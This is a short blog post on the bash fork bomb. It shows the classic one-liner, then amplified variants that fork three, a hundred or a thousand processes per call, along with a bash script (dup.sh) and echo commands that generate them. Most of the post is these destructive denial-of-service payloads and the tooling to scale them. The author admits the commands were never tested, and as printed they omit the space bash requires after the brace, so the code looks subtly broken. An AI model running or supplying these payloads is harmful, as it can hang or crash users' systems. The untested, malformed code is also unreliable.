Skip to main content

Command Palette

Search for a command to run...

A note on the bash fork bomb

Updated
2 min readView as Markdown

Here is the original fork bomb.

:(){:|:&};:

If you think about it for a minute you may agree with me that the following will be more destructive. This is just because each function call forks three processes instead of one.

:(){:|:& :& :&};:

Here is a script to generate string ":&" any number of times. We can use this script to fork it many many more times.

#!/bin/bash

##################
# dup.sh
# duplicates string set number of times.
# Written by Logan Won-Ki Lee
# 28 July 2022
#
# Usage:
# dup.sh [command] [repeat]
# where
# command: string to duplicate
# repeat: number of times command should be duplicated.
#
# example:
# dup.sh :"&" 10
# :& :& :& :& :& :& :& :& :& :&
##################

# tags: bash, string, duplicate

command=$1
repeat=$2
comma=
payload=

# if & character is present in command then enclose in quotes.
command=$(sed -E 's/&/\"&\"/' <<<$command)

# construct commas.
for n in `seq $((repeat-1))`; do
    comma+=",";
done

# construct payload.
payload=$(echo $command{$comma});

# print the payload.
eval echo $payload

Now to utilize it:

$ echo ":(){:|$(echo $(./dup.sh :"&" 100))};:" > hundred.txt

This generates

:(){:|:& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :&};:

So this destructive command forks hundred processes for each function call. You could even duplicate it thousand times per function call by:

$ echo ":(){:|$(echo $(./dup.sh :"&" 1000))};:" > thousand.txt

Now if you run this command it will hang the system (unless max process is set?). Actually, I haven't tried the command myself. It is just theoretical.

Please don't run this command in any shape or form. This article is for academic purposes only!

More from this blog

Linux and Web

31 posts